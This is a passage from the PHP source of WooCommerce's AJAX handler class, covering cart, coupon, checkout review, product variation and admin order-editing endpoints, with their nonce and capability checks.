=> '<div class="widget_shopping_cart_content">' . $mini_cart . '</div>', ) ), 'cart_hash' => WC()->cart->get_cart_hash(), ); wp_send_json( $data ); } /** * AJAX apply coupon on checkout page. */ public static function apply_coupon() { check_ajax_referer( 'apply-coupon', 'security' ); $coupon_code = ArrayUtil::get_value_or_default( $_POST, 'coupon_code' ); $billing_email = ArrayUtil::get_value_or_default( $_POST, 'billing_email' ); if ( is_string( $billing_email ) && is_email( $billing_email ) ) { wc()->customer->set_billing_email( $billing_email ); } if ( ! StringUtil::is_null_or_whitespace( $coupon_code ) ) { WC()->cart->add_discount( wc_format_coupon_code( wp_unslash( $coupon_code ) ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized } else { wc_add_notice( WC_Coupon::get_generic_coupon_error( WC_Coupon::E_WC_COUPON_PLEASE_ENTER ), 'error' ); } wc_print_notices(); wp_die(); } /** * AJAX remove coupon on cart and checkout page. */ public static function remove_coupon() { check_ajax_referer( 'remove-coupon', 'security' ); $coupon = isset( $_POST['coupon'] ) ? wc_format_coupon_code( wp_unslash( $_POST['coupon'] ) ) : false; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if ( StringUtil::is_null_or_whitespace( $coupon ) ) { wc_add_notice( __( 'Sorry there was a problem removing this coupon.', 'woocommerce' ), 'error' ); } else { WC()->cart->remove_coupon( $coupon ); wc_add_notice( __( 'Coupon has been removed.', 'woocommerce' ) ); } wc_print_notices(); wp_die(); } /** * AJAX update shipping method on cart page. */ public static function update_shipping_method() { check_ajax_referer( 'update-shipping-method', 'security' ); wc_maybe_define_constant( 'WOOCOMMERCE_CART', true ); $chosen_shipping_methods = WC()->session->get( 'chosen_shipping_methods' ); $posted_shipping_methods = isset( $_POST['shipping_method'] ) ? wc_clean( wp_unslash( $_POST['shipping_method'] ) ) : array(); if ( is_array( $posted_shipping_methods ) ) { foreach ( $posted_shipping_methods as $i => $value ) { if ( ! is_string( $value ) ) { continue; } $chosen_shipping_methods[ $i ] = $value; } } WC()->session->set( 'chosen_shipping_methods', $chosen_shipping_methods ); self::get_cart_totals(); } /** * AJAX receive updated cart_totals div. */ public static function get_cart_totals() { wc_maybe_define_constant( 'WOOCOMMERCE_CART', true ); WC()->cart->calculate_totals(); woocommerce_cart_totals(); wp_die(); } /** * Session has expired. */ private static function update_order_review_expired() { wp_send_json( array( 'fragments' => apply_filters( 'woocommerce_update_order_review_fragments', array( 'form.woocommerce-checkout' => wc_print_notice( esc_html__( 'Sorry, your session has expired.', 'woocommerce' ) . ' <a href="' . esc_url( wc_get_page_permalink( 'shop' ) ) . '" class="wc-backward">' . esc_html__( 'Return to shop', 'woocommerce' ) . '</a>', 'error', array(), true ), ) ), ) ); } /** * AJAX update order review on checkout. */ public static function update_order_review() { check_ajax_referer( 'update-order-review', 'security' ); wc_maybe_define_constant( 'WOOCOMMERCE_CHECKOUT', true ); if ( WC()->cart->is_empty() && ! is_customize_preview() && apply_filters( 'woocommerce_checkout_update_order_review_expired', true ) ) { self::update_order_review_expired(); } do_action( 'woocommerce_checkout_update_order_review', isset( $_POST['post_data'] ) ? wp_unslash( $_POST['post_data'] ) : '' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $chosen_shipping_methods = WC()->session->get( 'chosen_shipping_methods' ); $posted_shipping_methods = isset( $_POST['shipping_method'] ) ? wc_clean( wp_unslash( $_POST['shipping_method'] ) ) : array(); if ( is_array( $posted_shipping_methods ) ) { foreach ( $posted_shipping_methods as $i => $value ) { if ( ! is_string( $value ) ) { continue; } $chosen_shipping_methods[ $i ] = $value; } } WC()->session->set( 'chosen_shipping_methods', $chosen_shipping_methods ); WC()->session->set( 'chosen_payment_method', empty( $_POST['payment_method'] ) ? '' : wc_clean( wp_unslash( $_POST['payment_method'] ) ) ); WC()->customer->set_props( array( 'billing_country' => isset( $_POST['country'] ) ? wc_clean( wp_unslash( $_POST['country'] ) ) : null, 'billing_state' => isset( $_POST['state'] ) ? wc_clean( wp_unslash( $_POST['state'] ) ) : null, 'billing_postcode' => isset( $_POST['postcode'] ) ? wc_clean( wp_unslash( $_POST['postcode'] ) ) : null, 'billing_city' => isset( $_POST['city'] ) ? wc_clean( wp_unslash( $_POST['city'] ) ) : null, 'billing_address_1' => isset( $_POST['address'] ) ? wc_clean( wp_unslash( $_POST['address'] ) ) : null, 'billing_address_2' => isset( $_POST['address_2'] ) ? wc_clean( wp_unslash( $_POST['address_2'] ) ) : null, ) ); if ( wc_ship_to_billing_address_only() ) { WC()->customer->set_props( array( 'shipping_country' => isset( $_POST['country'] ) ? wc_clean( wp_unslash( $_POST['country'] ) ) : null, 'shipping_state' => isset( $_POST['state'] ) ? wc_clean( wp_unslash( $_POST['state'] ) ) : null, 'shipping_postcode' => isset( $_POST['postcode'] ) ? wc_clean( wp_unslash( $_POST['postcode'] ) ) : null, 'shipping_city' => isset( $_POST['city'] ) ? wc_clean( wp_unslash( $_POST['city'] ) ) : null, 'shipping_address_1' => isset( $_POST['address'] ) ? wc_clean( wp_unslash( $_POST['address'] ) ) : null, 'shipping_address_2' => isset( $_POST['address_2'] ) ? wc_clean( wp_unslash( $_POST['address_2'] ) ) : null, ) ); } else { WC()->customer->set_props( array( 'shipping_country' => isset( $_POST['s_country'] ) ? wc_clean( wp_unslash( $_POST['s_country'] ) ) : null, 'shipping_state' => isset( $_POST['s_state'] ) ? wc_clean( wp_unslash( $_POST['s_state'] ) ) : null, 'shipping_postcode' => isset( $_POST['s_postcode'] ) ? wc_clean( wp_unslash( $_POST['s_postcode'] ) ) : null, 'shipping_city' => isset( $_POST['s_city'] ) ? wc_clean( wp_unslash( $_POST['s_city'] ) ) : null, 'shipping_address_1' => isset( $_POST['s_address'] ) ? wc_clean( wp_unslash( $_POST['s_address'] ) ) : null, 'shipping_address_2' => isset( $_POST['s_address_2'] ) ? wc_clean( wp_unslash( $_POST['s_address_2'] ) ) : null, ) ); } if ( isset( $_POST['has_full_address'] ) && wc_string_to_bool( wc_clean( wp_unslash( $_POST['has_full_address'] ) ) ) ) { WC()->customer->set_calculated_shipping( true ); } else { WC()->customer->set_calculated_shipping( false ); } WC()->customer->save(); // Calculate shipping before totals. This will ensure any shipping methods that affect things like taxes are chosen prior to final totals being calculated. Ref: #22708. WC()->cart->calculate_shipping(); WC()->cart->calculate_totals(); // Get order review fragment. ob_start(); woocommerce_order_review(); $woocommerce_order_review = ob_get_clean(); // Get checkout payment fragment. ob_start(); woocommerce_checkout_payment(); $woocommerce_checkout_payment = ob_get_clean(); // Get messages if reload checkout is not true. $reload_checkout = isset( WC()->session->reload_checkout ); if ( ! $reload_checkout ) { $messages = wc_print_notices( true ); } else { $messages = ''; } unset( WC()->session->refresh_totals, WC()->session->reload_checkout ); wp_send_json( array( 'result' => empty( $messages ) ? 'success' : 'failure', 'messages' => $messages, 'reload' => $reload_checkout, 'fragments' => apply_filters( 'woocommerce_update_order_review_fragments', array( '.woocommerce-checkout-review-order-table' => $woocommerce_order_review, '.woocommerce-checkout-payment' => $woocommerce_checkout_payment, ) ), ) ); } /** * AJAX add to cart. */ public static function add_to_cart() { ob_start(); // phpcs:disable WordPress.Security.NonceVerification.Missing if ( ! isset( $_POST['product_id'] ) ) { return; } $product_id = apply_filters( 'woocommerce_add_to_cart_product_id', absint( $_POST['product_id'] ) ); $product = wc_get_product( $product_id ); $quantity = empty( $_POST['quantity'] ) ? 1 : wc_stock_amount( wp_unslash( $_POST['quantity'] ) ); $passed_validation = apply_filters( 'woocommerce_add_to_cart_validation', true, $product_id, $quantity ); $product_status = get_post_status( $product_id ); $variation_id = 0; $variation = array(); if ( $product && 'variation' === $product->get_type() ) { $variation_id = $product_id; $product_id = $product->get_parent_id(); $variation = $product->get_variation_attributes(); } if ( $passed_validation && false !== WC()->cart->add_to_cart( $product_id, $quantity, $variation_id, $variation ) && 'publish' === $product_status ) { do_action( 'woocommerce_ajax_added_to_cart', $product_id ); if ( 'yes' === get_option( 'woocommerce_cart_redirect_after_add' ) ) { wc_add_to_cart_message( array( $product_id => $quantity ), true ); } self::get_refreshed_fragments(); } else { // If there was an error adding to the cart, redirect to the product page to show any errors. $data = array( 'error' => true, 'product_url' => apply_filters( 'woocommerce_cart_redirect_after_error', get_permalink( $product_id ), $product_id ), ); wp_send_json( $data ); } // phpcs:enable } /** * AJAX remove from cart. */ public static function remove_from_cart() { ob_start(); // phpcs:ignore WordPress.Security.NonceVerification.Missing $cart_item_key = wc_clean( isset( $_POST['cart_item_key'] ) ? wp_unslash( $_POST['cart_item_key'] ) : '' ); if ( $cart_item_key && false !== WC()->cart->remove_cart_item( $cart_item_key ) ) { self::get_refreshed_fragments(); } else { wp_send_json_error(); } } /** * Process ajax checkout form. */ public static function checkout() { wc_maybe_define_constant( 'WOOCOMMERCE_CHECKOUT', true ); WC()->checkout()->process_checkout(); wp_die( 0 ); } /** * Get a matching variation based on posted attributes. */ public static function get_variation() { ob_start(); // phpcs:disable WordPress.Security.NonceVerification.Missing if ( empty( $_POST['product_id'] ) ) { wp_die(); } $variable_product = wc_get_product( absint( $_POST['product_id'] ) ); if ( ! $variable_product ) { wp_die(); } $data_store = WC_Data_Store::load( 'product' ); $variation_id = $data_store->find_matching_product_variation( $variable_product, wp_unslash( $_POST ) ); $variation = $variation_id ? $variable_product->get_available_variation( $variation_id ) : false; wp_send_json( $variation ); // phpcs:enable } /** * Locate user via AJAX. */ public static function get_customer_location() { $location_hash = WC_Cache_Helper::geolocation_ajax_get_location_hash(); wp_send_json_success( array( 'hash' => $location_hash ) ); } /** * Toggle Featured status of a product from admin. */ public static function feature_product() { if ( current_user_can( 'edit_products' ) && check_admin_referer( 'woocommerce-feature-product' ) && isset( $_GET['product_id'] ) ) { $product = wc_get_product( absint( $_GET['product_id'] ) ); if ( $product ) { $product->set_featured( ! $product->get_featured() ); $product->save(); } } wp_safe_redirect( wp_get_referer() ? remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'ids' ), wp_get_referer() ) : admin_url( 'edit.php?post_type=product' ) ); exit; } /** * Mark an order with a status. */ public static function mark_order_status() { if ( current_user_can( 'edit_shop_orders' ) && check_admin_referer( 'woocommerce-mark-order-status' ) && isset( $_GET['status'], $_GET['order_id'] ) ) { $status = sanitize_text_field( wp_unslash( $_GET['status'] ) ); $order = wc_get_order( absint( wp_unslash( $_GET['order_id'] ) ) ); if ( wc_is_order_status( 'wc-' . $status ) && $order ) { // Initialize payment gateways in case order has hooked status transition actions. WC()->payment_gateways(); $order->update_status( $status, '', true ); do_action( 'woocommerce_order_edit_status', $order->get_id(), $status ); } } wp_safe_redirect( wp_get_referer() ? wp_get_referer() : admin_url( 'edit.php?post_type=shop_order' ) ); exit; } /** * Get order details. */ public static function get_order_details() { check_admin_referer( 'woocommerce-preview-order', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_GET['order_id'] ) ) { wp_die( -1 ); } $order = wc_get_order( absint( $_GET['order_id'] ) ); if ( $order ) { include_once __DIR__ . '/admin/list-tables/class-wc-admin-list-table-orders.php'; wp_send_json_success( WC_Admin_List_Table_Orders::order_preview_get_order_details( $order ) ); } wp_die(); } /** * Add an attribute row. */ public static function add_attribute() { ob_start(); check_ajax_referer( 'add-attribute', 'security' ); if ( ! current_user_can( 'edit_products' ) || ! isset( $_POST['taxonomy'], $_POST['i'] ) ) { wp_die( -1 ); } $product_type = isset( $_POST['product_type'] ) ? sanitize_text_field( wp_unslash( $_POST['product_type'] ) ) : 'simple'; $i = absint( $_POST['i'] ); $metabox_class = array(); $attribute = new WC_Product_Attribute(); $attribute->set_id( wc_attribute_taxonomy_id_by_name( sanitize_text_field( wp_unslash( $_POST['taxonomy'] ) ) ) ); $attribute->set_name( sanitize_text_field( wp_unslash( $_POST['taxonomy'] ) ) ); /* phpcs:disable WooCommerce.Commenting.CommentHooks.MissingHookComment */ $attribute->set_visible( apply_filters( 'woocommerce_attribute_default_visibility', 1 ) ); $attribute->set_variation( apply_filters( 'woocommerce_attribute_default_is_variation', 'variable' === $product_type ? 1 : 0, $product_type ) ); /* phpcs: enable */ if ( $attribute->is_taxonomy() ) { $metabox_class[] = 'taxonomy'; $metabox_class[] = $attribute->get_name(); } include __DIR__ . '/admin/meta-boxes/views/html-product-attribute.php'; wp_die(); } /** * Add a new attribute via ajax function. */ public static function add_new_attribute() { check_ajax_referer( 'add-attribute', 'security' ); if ( current_user_can( 'manage_product_terms' ) && isset( $_POST['taxonomy'], $_POST['term'] ) ) { $taxonomy = esc_attr( wp_unslash( $_POST['taxonomy'] ) ); // phpcs:ignore $term = wc_clean( wp_unslash( $_POST['term'] ) ); if ( taxonomy_exists( $taxonomy ) ) { $result = wp_insert_term( $term, $taxonomy ); if ( is_wp_error( $result ) ) { wp_send_json( array( 'error' => $result->get_error_message(), ) ); } else { $term = get_term_by( 'id', $result['term_id'], $taxonomy ); wp_send_json( array( 'term_id' => $term->term_id, 'name' => $term->name, 'slug' => $term->slug, ) ); } } } wp_die( -1 ); } /** * Delete variations via ajax function. */ public static function remove_variations() { check_ajax_referer( 'delete-variations', 'security' ); if ( current_user_can( 'edit_products' ) && isset( $_POST['variation_ids'] ) ) { $variation_ids = array_map( 'absint', (array) wp_unslash( $_POST['variation_ids'] ) ); foreach ( $variation_ids as $variation_id ) { if ( 'product_variation' === get_post_type( $variation_id ) ) { $variation = wc_get_product( $variation_id ); $variation->delete( true ); } } } wp_die( -1 ); } /** * Save attributes via ajax. */ public static function save_attributes() { check_ajax_referer( 'save-attributes', 'security' ); if ( ! current_user_can( 'edit_products' ) || ! isset( $_POST['data'], $_POST['post_id'] ) ) { wp_die( -1 ); } $response = array(); try { parse_str( wp_unslash( $_POST['data'] ), $data ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $product = self::create_product_with_attributes( $data ); ob_start(); $attributes = $product->get_attributes( 'edit' ); $i = -1; if ( ! empty( $data['attribute_names'] ) ) { foreach ( $data['attribute_names'] as $attribute_name ) { $attribute = isset( $attributes[ sanitize_title( $attribute_name ) ] ) ? $attributes[ sanitize_title( $attribute_name ) ] : false; if ( ! $attribute ) { continue; } $i++; $metabox_class = array(); if ( $attribute->is_taxonomy() ) { $metabox_class[] = 'taxonomy'; $metabox_class[] = $attribute->get_name(); } include __DIR__ . '/admin/meta-boxes/views/html-product-attribute.php'; } } $response['html'] = ob_get_clean(); } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } // wp_send_json_success must be outside the try block not to break phpunit tests. wp_send_json_success( $response ); } /** * Save attributes and variations via ajax. */ public static function add_attributes_and_variations() { check_ajax_referer( 'add-attributes-and-variations', 'security' ); if ( ! current_user_can( 'edit_products' ) || ! isset( $_POST['data'], $_POST['post_id'] ) ) { wp_die( -1 ); } try { parse_str( wp_unslash( $_POST['data'] ), $data ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $product = self::create_product_with_attributes( $data ); self::create_all_product_variations( $product ); wp_send_json_success(); wp_die(); } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } } /** * Create product with attributes from POST data. * * @param array $data Attribute data. * @return mixed Product class. */ private static function create_product_with_attributes( $data ) { // phpcs:disable WordPress.Security.NonceVerification.Missing if ( ! isset( $_POST['post_id'] ) ) { wp_die( -1 ); } $attributes = WC_Meta_Box_Product_Data::prepare_attributes( $data ); $product_id = absint( wp_unslash( $_POST['post_id'] ) ); $product_type = ! empty( $_POST['product_type'] ) ? wc_clean( wp_unslash( $_POST['product_type'] ) ) : 'simple'; $classname = WC_Product_Factory::get_product_classname( $product_id, $product_type ); $product = new $classname( $product_id ); $product->set_attributes( $attributes ); $product->save(); return $product; } /** * Create all product variations from existing attributes. * * @param mixed $product Product class. * @returns int Number of variations created. */ private static function create_all_product_variations( $product ) { $data_store = $product->get_data_store(); if ( ! is_callable( array( $data_store, 'create_all_product_variations' ) ) ) { wp_die(); } $number = $data_store->create_all_product_variations( $product, Constants::get_constant( 'WC_MAX_LINKED_VARIATIONS' ) ); $data_store->sort_all_product_variations( $product->get_id() ); return $number; } /** * Add variation via ajax function. */ public static function add_variation() { check_ajax_referer( 'add-variation', 'security' ); if ( ! current_user_can( 'edit_products' ) || ! isset( $_POST['post_id'], $_POST['loop'] ) ) { wp_die( -1 ); } global $post; // Set $post global so its available, like within the admin screens. $product_id = intval( $_POST['post_id'] ); $post = get_post( $product_id ); // phpcs:ignore $loop = intval( $_POST['loop'] ); $product_object = wc_get_product_object( 'variable', $product_id ); // Forces type to variable in case product is unsaved. $variation_object = wc_get_product_object( 'variation' ); $variation_object->set_parent_id( $product_id ); $variation_object->set_attributes( array_fill_keys( array_map( 'sanitize_title', array_keys( $product_object->get_variation_attributes() ) ), '' ) ); $variation_id = $variation_object->save(); $variation = get_post( $variation_id ); $variation_data = array_merge( get_post_custom( $variation_id ), wc_get_product_variation_attributes( $variation_id ) ); // kept for BW compatibility. include __DIR__ . '/admin/meta-boxes/views/html-variation-admin.php'; wp_die(); } /** * Link all variations via ajax function. */ public static function link_all_variations() { check_ajax_referer( 'link-variations', 'security' ); if ( ! current_user_can( 'edit_products' ) ) { wp_die( -1 ); } wc_maybe_define_constant( 'WC_MAX_LINKED_VARIATIONS', 50 ); wc_set_time_limit( 0 ); $post_id = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0; if ( ! $post_id ) { wp_die(); } $product = wc_get_product( $post_id ); $number_created = self::create_all_product_variations( $product ); echo esc_html( $number_created ); wp_die(); } /** * Delete download permissions via ajax function. */ public static function revoke_access_to_download() { check_ajax_referer( 'revoke-access', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['download_id'], $_POST['product_id'], $_POST['order_id'], $_POST['permission_id'] ) ) { wp_die( -1 ); } $download_id = wc_clean( wp_unslash( $_POST['download_id'] ) ); $product_id = intval( $_POST['product_id'] ); $order_id = intval( $_POST['order_id'] ); $permission_id = absint( $_POST['permission_id'] ); $data_store = WC_Data_Store::load( 'customer-download' ); $data_store->delete_by_id( $permission_id ); do_action( 'woocommerce_ajax_revoke_access_to_product_download', $download_id, $product_id, $order_id, $permission_id ); wp_die(); } /** * Grant download permissions via ajax function. */ public static function grant_access_to_download() { check_ajax_referer( 'grant-access', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['loop'], $_POST['order_id'], $_POST['product_ids'] ) ) { wp_die( -1 ); } global $wpdb; $wpdb->hide_errors(); $order_id = intval( $_POST['order_id'] ); $product_ids = array_filter( array_map( 'absint', (array) wp_unslash( $_POST['product_ids'] ) ) ); $loop = intval( $_POST['loop'] ); $file_counter = 0; $order = wc_get_order( $order_id ); if ( ! $order->get_billing_email() ) { wp_die(); } $data = array(); $items = $order->get_items(); // Check against order items first. foreach ( $items as $item ) { $product = $item->get_product(); if ( $product && $product->exists() && in_array( $product->get_id(), $product_ids, true ) && $product->is_downloadable() ) { $data[ $product->get_id() ] = array( 'files' => $product->get_downloads(), 'quantity' => $item->get_quantity(), 'order_item' => $item, ); } } foreach ( $product_ids as $product_id ) { $product = wc_get_product( $product_id ); if ( isset( $data[ $product->get_id() ] ) ) { $download_data = $data[ $product->get_id() ]; } else { $download_data = array( 'files' => $product->get_downloads(), 'quantity' => 1, 'order_item' => null, ); } if ( ! empty( $download_data['files'] ) ) { foreach ( $download_data['files'] as $download_id => $file ) { $inserted_id = wc_downloadable_file_permission( $download_id, $product->get_id(), $order, $download_data['quantity'], $download_data['order_item'] ); if ( $inserted_id ) { $download = new WC_Customer_Download( $inserted_id ); $loop ++; $file_counter ++; if ( $file->get_name() ) { $file_count = $file->get_name(); } else { /* translators: %d file count */ $file_count = sprintf( __( 'File %d', 'woocommerce' ), $file_counter ); } include __DIR__ . '/admin/meta-boxes/views/html-order-download-permission.php'; } } } } wp_die(); } /** * Get customer details via ajax. */ public static function get_customer_details() { check_ajax_referer( 'get-customer-details', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['user_id'] ) ) { wp_die( -1 ); } $user_id = absint( $_POST['user_id'] ); $customer = new WC_Customer( $user_id ); if ( has_filter( 'woocommerce_found_customer_details' ) ) { wc_deprecated_function( 'The woocommerce_found_customer_details filter', '3.0', 'woocommerce_ajax_get_customer_details' ); } $data = $customer->get_data(); $data['date_created'] = $data['date_created'] ? $data['date_created']->getTimestamp() : null; $data['date_modified'] = $data['date_modified'] ? $data['date_modified']->getTimestamp() : null; unset( $data['meta_data'] ); $customer_data = apply_filters( 'woocommerce_ajax_get_customer_details', $data, $customer, $user_id ); wp_send_json( $customer_data ); } /** * Add order item via ajax. Used on the edit order screen in WP Admin. * * @throws Exception If order is invalid. */ public static function add_order_item() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) ) { wp_die( -1 ); } if ( ! isset( $_POST['order_id'] ) ) { throw new Exception( __( 'Invalid order', 'woocommerce' ) ); } $order_id = absint( wp_unslash( $_POST['order_id'] ) ); // If we passed through items it means we need to save first before adding a new one. $items = ( ! empty( $_POST['items'] ) ) ? wp_unslash( $_POST['items'] ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $items_to_add = isset( $_POST['data'] ) ? array_filter( wp_unslash( (array) $_POST['data'] ) ) : array(); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized try { $response = self::maybe_add_order_item( $order_id, $items, $items_to_add ); wp_send_json_success( $response ); } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } } /** * Add order item via AJAX. This is refactored for better unit testing. * * @param int $order_id ID of order to add items to. * @param string|array $items Existing items in order. Empty string if no items to add. * @param array $items_to_add Array of items to add. * * @return array Fragments to render and notes HTML. * @throws Exception When unable to add item. */ private static function maybe_add_order_item( $order_id, $items, $items_to_add ) { try { $order = wc_get_order( $order_id ); if ( ! $order ) { throw new Exception( __( 'Invalid order', 'woocommerce' ) ); } if ( ! empty( $items ) ) { $save_items = array(); parse_str( $items, $save_items ); wc_save_order_items( $order->get_id(), $save_items ); } // Add items to order. $order_notes = array(); $added_items = array(); foreach ( $items_to_add as $item ) { if ( ! isset( $item['id'], $item['qty'] ) || empty( $item['id'] ) ) { continue; } $product_id = absint( $item['id'] ); $qty = wc_stock_amount( $item['qty'] ); $product = wc_get_product( $product_id ); if ( ! $product ) { throw new Exception( __( 'Invalid product ID', 'woocommerce' ) . ' ' . $product_id ); } if ( 'variable' === $product->get_type() ) { /* translators: %s product name */ throw new Exception( sprintf( __( '%s is a variable product parent and cannot be added.', 'woocommerce' ), $product->get_name() ) ); } $validation_error = new WP_Error(); $validation_error = apply_filters( 'woocommerce_ajax_add_order_item_validation', $validation_error, $product, $order, $qty ); if ( $validation_error->get_error_code() ) { /* translators: %s: error message */ throw new Exception( sprintf( __( 'Error: %s', 'woocommerce' ), $validation_error->get_error_message() ) ); } $item_id = $order->add_product( $product, $qty, array( 'order' => $order ) ); $item = apply_filters( 'woocommerce_ajax_order_item', $order->get_item( $item_id ), $item_id, $order, $product ); $added_items[ $item_id ] = $item; $order_notes[ $item_id ] = $product->get_formatted_name(); // We do not perform any stock operations here because they will be handled when order is moved to a status where stock operations are applied (like processing, completed etc). do_action( 'woocommerce_ajax_add_order_item_meta', $item_id, $item, $order ); } /* translators: %s item name. */ $order->add_order_note( sprintf( __( 'Added line items: %s', 'woocommerce' ), implode( ', ', $order_notes ) ), false, true ); do_action( 'woocommerce_ajax_order_items_added', $added_items, $order ); $data = get_post_meta( $order_id ); // Get HTML to return. ob_start(); include __DIR__ . '/admin/meta-boxes/views/html-order-items.php'; $items_html = ob_get_clean(); ob_start(); $notes = wc_get_order_notes( array( 'order_id' => $order_id ) ); include __DIR__ . '/admin/meta-boxes/views/html-order-notes.php'; $notes_html = ob_get_clean(); return array( 'html' => $items_html, 'notes_html' => $notes_html, ); } catch ( Exception $e ) { throw $e; // Forward exception to caller. } } /** * Add order fee via ajax. * * @throws Exception If order is invalid. */ public static function add_order_fee() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) ) { wp_die( -1 ); } $response = array(); try { $order_id = isset( $_POST['order_id'] ) ? absint( $_POST['order_id'] ) : 0; $order = wc_get_order( $order_id ); if ( ! $order ) { throw new Exception( __( 'Invalid order', 'woocommerce' ) ); } $amount = isset( $_POST['amount'] ) ? wc_clean( wp_unslash( $_POST['amount'] ) ) : 0; $calculate_tax_args = array( 'country' => isset( $_POST['country'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['country'] ) ) ) : '', 'state' => isset( $_POST['state'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['state'] ) ) ) : '', 'postcode' => isset( $_POST['postcode'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['postcode'] ) ) ) : '', 'city' => isset( $_POST['city'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['city'] ) ) ) : '', ); if ( strstr( $amount, '%' ) ) { // We need to calculate totals first, so that $order->get_total() is correct. $order->calculate_totals( false ); $formatted_amount = $amount; $percent = floatval( trim( $amount, '%' ) ); $amount = $order->get_total() * ( $percent / 100 ); } else { $amount = floatval( $amount ); $formatted_amount = wc_price( $amount, array( 'currency' => $order->get_currency() ) ); } $fee = new WC_Order_Item_Fee(); $fee->set_amount( $amount ); $fee->set_total( $amount ); /* translators: %s fee amount */ $fee->set_name( sprintf( __( '%s fee', 'woocommerce' ), wc_clean( $formatted_amount ) ) ); $order->add_item( $fee ); $order->calculate_taxes( $calculate_tax_args ); $order->calculate_totals( false ); $order->save(); ob_start(); include __DIR__ . '/admin/meta-boxes/views/html-order-items.php'; $response['html'] = ob_get_clean(); } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } // wp_send_json_success must be outside the try block not to break phpunit tests. wp_send_json_success( $response ); } /** * Add order shipping cost via ajax. * * @throws Exception If order is invalid. */ public static function add_order_shipping() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) ) { wp_die( -1 ); } $response = array(); try { $order_id = isset( $_POST['order_id'] ) ? absint( $_POST['order_id'] ) : 0; $order = wc_get_order( $order_id ); if ( ! $order ) { throw new Exception( __( 'Invalid order', 'woocommerce' ) ); } $order_taxes = $order->get_taxes(); $shipping_methods = WC()->shipping() ? WC()->shipping()->load_shipping_methods() : array(); // Add new shipping. $item = new WC_Order_Item_Shipping(); $item->set_shipping_rate( new WC_Shipping_Rate() ); $item->set_order_id( $order_id ); $item_id = $item->save(); ob_start(); include __DIR__ . '/admin/meta-boxes/views/html-order-shipping.php'; $response['html'] = ob_get_clean(); } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } // wp_send_json_success must be outside the try block not to break phpunit tests. wp_send_json_success( $response ); } /** * Add order tax column via ajax. * * @throws Exception If order or tax rate is invalid. */ public static function add_order_tax() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) ) { wp_die( -1 ); } $response = array(); try { $order_id = isset( $_POST['order_id'] ) ? absint( $_POST['order_id'] ) : 0; $order = wc_get_order( $order_id ); if ( ! $order ) { throw new Exception( __( 'Invalid order', 'woocommerce' ) ); } $rate_id = isset( $_POST['rate_id'] ) ? absint( $_POST['rate_id'] ) : ''; if ( ! $rate_id ) { throw new Exception( __( 'Invalid rate', 'woocommerce' ) ); } $data = get_post_meta( $order_id ); // Add new tax. $item = new WC_Order_Item_Tax(); $item->set_rate( $rate_id ); $item->set_order_id( $order_id ); $item->save(); ob_start(); include __DIR__ . '/admin/meta-boxes/views/html-order-items.php'; $response['html'] = ob_get_clean(); } catch ( Exception $e ) { wp_send_json_error( array( 'error' => $e->getMessage() ) ); } // wp_send_json_success must be outside the try block not to break phpunit tests. wp_send_json_success( $response ); } /** * Add order discount via ajax. * * @throws Exception If order or coupon is invalid. */ public static function add_coupon_discount() { wc_get_container()->get( CouponsController::class )->add_coupon_discount_via_ajax(); } /** * Remove coupon from an order via ajax. * * @throws Exception If order or coupon is invalid. */ public static function remove_order_coupon() { check_ajax_referer( 'order-item', 'security' ); if ( ! current_user_can( 'edit_shop_orders' ) ) { wp_die( -1 ); } $response = array(); try { $order_id = isset( $_POST['order_id'] ) ? absint( $_POST['order_id'] ) : 0; $order = wc_get_order( $order_id ); $calculate_tax_args = array( 'country' => isset( $_POST['country'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['country'] ) ) ) : '', 'state' => isset( $_POST['state'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['state'] ) ) ) : '', 'postcode' => isset( $_POST['postcode'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['postcode'] ) ) ) : '', 'city' => isset( $_POST['city'] ) ? wc_strtoupper( wc_clean( wp_unslash( $_POST['city'] ) ) ) : '', ); if ( ! $order ) { throw new Exception( __( 'Invalid order', 'woocommerce' ) ); } $coupon = ArrayUtil::get_value_or_default( $_POST, 'coupon' ); if ( StringUtil::is_null_or_whitespace( $coupon ) ) { throw new Exception( __( 'Invalid coupon', 'woocommerce' ) ); } $code = wc_format_coupon_code( wp_unslash( $coupon ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if ( $order->remove_coupon( $code ) ) { // translators: %s coupon code. $order->add_order_note( esc_html( sprintf( __( 'Coupon removed: "%s".', 'woocommerce' ), $code ) ), 0, true ); } $order->calculate_taxes( $calculate_tax_args ); $order->calculate_totals( false ); ob_start(); include __DIR__ . '/admin/meta-boxes/views/html-order-items.php'; $response['html'] = 